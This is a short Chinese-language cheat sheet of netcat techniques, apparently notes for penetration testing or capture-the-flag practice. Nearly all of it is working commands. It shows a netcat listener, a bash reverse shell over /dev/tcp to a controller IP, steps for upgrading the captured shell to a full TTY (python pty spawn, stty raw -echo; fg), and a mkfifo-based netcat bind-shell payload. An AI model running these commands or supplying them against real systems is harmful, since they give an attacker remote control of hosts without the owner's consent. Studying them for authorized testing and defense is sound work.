1.监听与连接
监听端: nc -lvnp 9999
受控端: nc 控制端ip 9999
2.反弹shell
监听端: nc -lvnp 9999
受控端:bash -i > /dev/tcp/控制端ip/9999
bash -i > /dev/tcp/控制端/9999 0>&1
监听端:python3 -c ‘import pty;pty.spawn(“/bin/bash”)’ //注意python根据监听端版本来选择pythonx,x为大版本。得到受控端的shell,注意到此时仍然不能使用ctrl C以及左右箭头。

上图右边红色框为输入命令后获取的shell
监听端:export TERM=xterm //之后可以使用术语命令比如clear
监听端:ctrl Z //此时shell在后台运行,监听端得以继续操控终端
监听端:stty raw -echo; fg //关闭监听端的终端回显,但是仍然可以使用tab补全、方向键、crtl c结束进程而不是退出shell,并且能够重新切换到受控端的shell。

++++++
3.有效载荷
A端:mkfifo /tmp/f; nc -lvnp <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f //这条命令创建了一个管道用于传递数据,“tmp/f”是这个管道的名称,然后使用netcat开启监听端口,<代表将管道的输出视为监听的输入。
B端:nc A端ip PORT
//此时A的shell会弹到B处,B可以控制A
B端:ctrl C可以退出对A的控制